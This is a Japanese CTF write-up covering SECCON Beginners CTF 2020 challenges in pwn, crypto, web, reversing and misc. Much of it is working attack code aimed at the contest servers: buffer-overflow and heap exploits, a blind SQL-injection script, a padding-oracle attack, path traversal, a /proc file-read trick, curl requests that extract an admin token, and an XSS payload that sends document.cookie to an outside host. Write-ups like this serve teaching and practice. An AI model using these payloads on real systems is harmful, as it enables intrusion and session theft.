2020-05-23 14:00 - 2020-05-24 14:00 (JST) で SECCON Beginners CTF が開催されました。今回はチームメンバーが見つからなかったので、腕試しに presecure という一人チームで参加してみました (なんとなく浮かんだのでこの名前にしましたが、既出っぽいのでちゃんと調べておくべきでしたね)。 結果は pwn の Meidum 〜 cryptoのHard、RevのHardが解けず 3823 points で 12位でした。10位以内に入りたかったですね。
- [Pwn] Beginner's Stack
- [Pwn] Beginner's Heap
- [Crypto] R&B
- [Crypto] Noisy equations
- [Crypto] RSA Calc
- [Crypto] Encrypter
- [Web] Spy
- [Web] Tweetstore
- [Web] unzip
- [Web] profiler
- [Web] Somen
- [Reversing] mask
- [Reversing] yakisoba
- [Reversing] ghost
- [Reversing] sinlangs
- [Misc] Welcome
- [Misc] emoemoencode
- [Misc] readme
- [アンケート] アンケート
[Pwn] Beginner's Stack
Stack Overflowでwin関数に飛ぶだけ。win関数の movaps
でプログラムが落ちないように ret gadetをひとつまみ
from ptrlib import * win = 0x400861 payload = b"A" * 40 + p64(0x4007F0) + p64(win) sock = Socket("bs.quals.beginners.seccon.jp", 9001) sock.sendline(payload) sock.interactive()
[Pwn] Beginner's Heap
libc 2.28 以降の(keyによるチェックがある) tcache poisoningの問題。丁寧に教えてくれるのでやるだけのはずが、ネットワークが悪かったのかすぐにコネクションが切られてしまったり、同じ入力なのに異なる動き方をしたので、うまく通ることを祈って 30分くらいガチャをした。
from ptrlib import * sock = Socket("bh.quals.beginners.seccon.jp", 9002) sock.recvuntil("hook>: ") free_hook = int(sock.recvline(), 16) sock.recvuntil("win>: ") win = int(sock.recvline(), 16) print("__free_hook: {:0x}".format(free_hook)) sock.sendafter("> ", "2") # malloc and free twice B sock.send("AAAAAAAA") sock.sendafter("> ", "3") sock.sendafter("> ", "2") sock.send("BBBBBBBB") sock.sendafter("> ", "3") sock.sendafter("> ", "1") # heap oveflow 1. overwrite B's fd to __free_hook sock.send(b"C" * 0x18 + p64(0x21) + p64(free_hook)) sock.sendafter("> ", "2") # malloc B sock.send("DDDDDDDD") sock.sendafter("> ", "2") # try once more (?) sock.send("DDDD2222") sock.sendafter("> ", "1") # heap oveflow 2. overwrite B's mchunk_size sock.send(b"E" * 0x18 + p64(0x31)) sock.sendafter("> ", "3") # free B. in this step, B is conneted to tcache[0x28] instead of tcache[0x18] sock.sendafter("> ", "2") # malloc B (__free_hook) sock.send(p64(win)) sock.sendafter("> ", "3") # free B to win sock.interactive()
[Crypto] R&B
先頭の文字が 'R' なら rot13、'B'なら base64のdecodeをやる。手で解いたのでスクリプトないです。
[Crypto] Noisy equations
from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
単なるn変数の連立方程式だけど、 ランダムなnoiseが加算されていてそのままでは解けない。幸い、SEEDが指定されていて乱数が固定なので2回リクエストを送って差分を取ると乱数分が消えるのであとは方程式を解くだけ。
from ptrlib import * sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000) coeffs1 = eval(sock.recvline()) answer1 = eval(sock.recvline()) sock.close() sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000) coeffs2 = eval(sock.recvline()) answer2 = eval(sock.recvline()) sock.close() answers = [] for i in range(len(answer1)): answers.append(answer1[i] - answer2[i]) import numpy as np N = len(answers) matrix = [[0 for i in range(N)] for j in range(N)] for i in range(len(answers)): for j in range(len(answers)): matrix[i][j] = (coeffs1[i][j] - coeffs2[i][j]) A = np.array(matrix) A = A.astype(np.float64) b = np.array(answers) b = b.astype(np.float64) print("".join(chr(int(x)) for x in list(np.linalg.solve(A, b))))
このソルバだとフラグっぽいけどフラグとはちょっと違う文字列が得られたので何回かやってフラグっぽくなるように修正して提出した。
[Crypto] RSA Calc
from Crypto.Util.number import * from params import p, q, flag import binascii import sys import signal N = p * q e = 65537 d = inverse(e, (p-1)*(q-1)) def input(prompt=''): sys.stdout.write(prompt) sys.stdout.flush() return sys.stdin.buffer.readline().strip() def menu(): sys.stdout.write('''---------- 1) Sign 2) Exec 3) Exit ''') try: sys.stdout.write('> ') sys.stdout.flush() return int(sys.stdin.readline().strip()) except: return 3 def cmd_sign(): data = input('data> ') if len(data) > 256: sys.stdout.write('Too long\n') return if b'F' in data or b'1337' in data: sys.stdout.write('Error\n') return signature = pow(bytes_to_long(data), d, N) sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode())) def cmd_exec(): data = input('data> ') signature = int(input('signature> '), 16) if signature < 0 or signature >= N: sys.stdout.write('Invalid signature\n') return check = long_to_bytes(pow(signature, e, N)) if data != check: sys.stdout.write('Invalid signature\n') return chunks = data.split(b',') stack = [] for c in chunks: if c == b'+': stack.append(stack.pop() + stack.pop()) elif c == b'-': stack.append(stack.pop() - stack.pop()) elif c == b'*': stack.append(stack.pop() * stack.pop()) elif c == b'/': stack.append(stack.pop() / stack.pop()) elif c == b'F': val = stack.pop() if val == 1337: sys.stdout.write(flag + '\n') else: stack.append(int(c)) sys.stdout.write('Answer: {}\n'.format(int(stack.pop()))) def main(): sys.stdout.write('N: {}\n'.format(N)) while True: try: command = menu() if command == 1: cmd_sign() if command == 2: cmd_exec() elif command == 3: break except e: sys.stdout.write('Error\n') sys.stdout.write(e) break if __name__ == '__main__': signal.alarm(60) main()
[tex: m_1d * m_2d \equiv (m_1m_2)d \mod n] であることを利用して 1337,F
を適当に分解して送って得られたsignatureを掛ければ良い。
from ptrlib import * from Crypto.Util.number import * sock = Socket("rsacalc.quals.beginners.seccon.jp", 10001) # sock = Socket("localhost", 8888) N = int(sock.recvline().decode().split(": ")[1]) e = 65537 m1 = 1081919446939 m2 = 2* 5**2 print(repr(long_to_bytes(m1)), repr(long_to_bytes(m1).strip())) print(repr(long_to_bytes(m2)), repr(long_to_bytes(m2).strip())) sock.sendlineafter("> ", "1") sock.sendlineafter("data> ", long_to_bytes(m1)) sock.recvuntil("Signature: ") s1 = int(sock.recvline(), 16) sock.sendlineafter("> ", "1") sock.sendlineafter("data> ", long_to_bytes(m2)) sock.recvuntil("Signature: ") s2 = int(sock.recvline(), 16) s = (s1 * s2) % N if s < 0 or s >= N: print('Invalid signature\n') assert False data = long_to_bytes(m1 * m2) check = long_to_bytes(pow(s, e, N)) if data != check: print('Invalid signature\n') assert False sock.sendlineafter("> ", "2") sock.sendlineafter("data> ", data) sock.sendlineafter("signature> ", hex(s)[2:]) sock.interactive()
[Crypto] Encrypter
平文をおくると暗号化してくれて、暗号文を送ると復号できたかどうか教えてくれて、フラグの暗号文を教えてくれるWebサービス。なぜかソースコードがついてなかったけど、問題設定からguessingするとAES-CBCによる暗号化・復号をやっていて、Padding Oracle Attackができるのでやる。 ptrlibを使うとPadding Oracle系はすぐ解ける。
from base64 import * from ptrlib import * import requests import json c = b64decode(b"rNv1oN83BbvzgICFYbBMtUJ20474P5kmULMw9xZFPOI9vAsrKxf1diFVXVeJl1jE95LNaLajwPLGiUKAQSNe4A==") iv, c = c[:16], c[16:] def oracle(c): r = requests.post("http://encrypter.quals.beginners.seccon.jp/encrypt.php", data=json.dumps({ "mode": "decrypt", "content": b64encode(c).decode(), })) if "ok" in r.text: return True else: return False print(padding_oracle(decrypt=oracle, cipher=c, bs=16, iv=iv))
[Web] Spy
DBにエントリが存在するかどうかで応答時間が違うのでそれを利用する。
[Web] Tweetstore
limit 句にSQL Injectionがある。 PostgreSQLはlimit句でもサブクエリが使えるので表示件数をOracleにしてやる
import requests import re index =1 flag = '' while True: r = requests.get( 'https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(select%20ascii(substr(usename,{},1)) from pg_user limit 1 offset 1)'.format(index) ) a = re.findall('[0-9]+ of 200', r.text)[0].split(" ")[0] flag += chr(int(a)) print(flag) index += 1
[Web] unzip
zipファイルをuploadすると展開してくれて、選択したパスのファイルをDLできるようになるアプリケーション。zipにファイルを相対アドレスで格納して ../../../flag
などとすると file_get_contents("uploads/session_id/../../../flag");
ができそうな気がしたのでやる。フラグの場所がわからなかったので質問したらアナウンスされた。
[Web] profiler
GraphQL の API がある。https://github.com/graphcool/get-graphql-schema でSchemaを取得したら someone(uid: ID!)
というクエリと updateToken(token: String!)
という mutation があることがわかるので、それぞれをやって adminのtokenを抜く。
$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"query myon($arg1: ID!) {someone(uid: $arg1){uid token} }", "variables": { "arg1": "admin" }}' $ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'
[Web] Somen
どこかで見た問題なので http://akouryy.hatenablog.jp/entry/ctf/xss.shift-js.info#23 などを見に行くと location.href="http://ptsv2.com/t/9ck3z-1590289441/post?q" + document.cookie;//</title><script id="message"></script><script>
のようなクエリを送ればいい感じになることがわかる。
[Reversing] mask
純粋にロジックを読む
s1 = "atd4`qdedtUpetepqeUdaaeUeaqau" s2 = "c`b bk`kj`KbababcaKbacaKiacki" m1 = 0x75 m2 = 0xEB f = '' for i in range(len(s1)): for c in range(256): if m1 & c == ord(s1[i]) and m2 & c == ord(s2[i]): f += chr(c) print(f)
[Reversing] yakisoba
一瞬だけバイナリをみて一瞬でangrに投げることを決めた
import angr p = angr.Project("./yakisoba") e = p.factory.entry_state() simgr = p.factory.simulation_manager(e) s = simgr.explore(find=0x400000 + 0x6D2) import code code.interact(local=locals())
[Reversing] ghost
次のようなghost script (post script?) にフラグが入力されていて、その出力が渡される。最初は真面目に解析していたけど、途中で同じ入力なら同じ出力が出ることに気がついて入力を前から全探索した。gs
コマンドを実行する度にcanvasが描画されて目がちかちかした。
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
from ptrlib import * import string table = string.printable estimate = "3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094".split(" ") flag = 'ctf4b{' while len(flag) < len(estimate): for c in table: sock = Process(["gs", "-q", "chall.gs"]) sock.sendline(flag + c) line = sock.recvline().decode() sock.close() if " ".join(estimate[:len(flag)+1]) == line: flag += c print(flag) break
[Reversing] sinlangs
apkなので、unzipとjarとcfrとdex2jarを使ってclassファイルを解析していった。AES-GCMによる暗号か復号をやっている処理があったので、そこだけ切り抜いてみた。
import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.spec.GCMParameterSpec; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; class Solve { public static void main(String[] args) throws Exception { final byte[] array2; final byte[] array = array2 = new byte[43]; array2[0] = 95; array2[1] = -59; array2[2] = -20; array2[3] = -93; array2[4] = -70; array2[5] = 0; array2[6] = -32; array2[7] = -93; array2[8] = -23; array2[9] = 63; array2[10] = -9; array2[11] = 60; array2[12] = 86; array2[13] = 123; array2[14] = -61; array2[15] = -8; array2[16] = 17; array2[17] = -113; array2[18] = -106; array2[19] = 28; array2[20] = 99; array2[21] = -72; array2[22] = -3; array2[23] = 1; array2[24] = -41; array2[25] = -123; array2[26] = 17; array2[27] = 93; array2[28] = -36; array2[29] = 45; array2[30] = 18; array2[31] = 71; array2[32] = 61; array2[33] = 70; array2[34] = -117; array2[35] = -55; array2[36] = 107; array2[37] = -75; array2[38] = -89; array2[39] = 3; array2[40] = 94; array2[41] = -71; array2[42] = 30; SecretKeySpec secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding"); instance.init(2, secretKey, new GCMParameterSpec(128, array, 0, 12)); final byte[] doFinal = instance.doFinal(array, 12, array.length - 12); System.out.println(new String(doFinal)); } }
出力は 1pt_3verywhere}
でフラグっぽいが足りない。雑に grep -R 'ctf4b'
などとすると assets/index.android.bundle
にjs側のロジックがあることがわかった。こちらは単純なxorだった。
xs= [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27] ys = "AKeyForios10.3" flag = '' for i in range(len(xs)): flag += chr(xs[i] ^ ord(ys[i% len(ys)])) print(flag) print(flag + '1pt_3verywhere}')
[Misc] Welcome
Discordサーバにフラグがある。見に行った時点ではまだフラグは投下されてなくて、問題文に「質問はctf4b-bot
までお願いします」と書いてったのでそういうことかと思って質問をしたけど早とちりだった
[Misc] emoemoencode
脳死でやった。何だこの問題
xs = open("emo", "rb").read() flag = '' cnt = 0 for i in range(0, len(xs), 4): try: flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988224) except: flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988032) print(flag) print(flag)
[Misc] readme
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
これ系の問題は絶対にprocfsに違いないとあたりをつけてやった。 /proc/self/environ
をよむと PWD=/home/ctf/server
であることがわかるので、 /proc/self/cwd/../flag
で読める
[アンケート] アンケート
フラグはなし。Discordのリンクだけ見ていたので、競技終了後に問題として出ていることに気がついて、もしや問題文にフラグがあったりしたのではと焦ったがそんなことはなかった。問題の質が高くて面白かったこと、去年に比べて難化が激しいのではないかということ、とにかく楽しかったということを書いたと思う。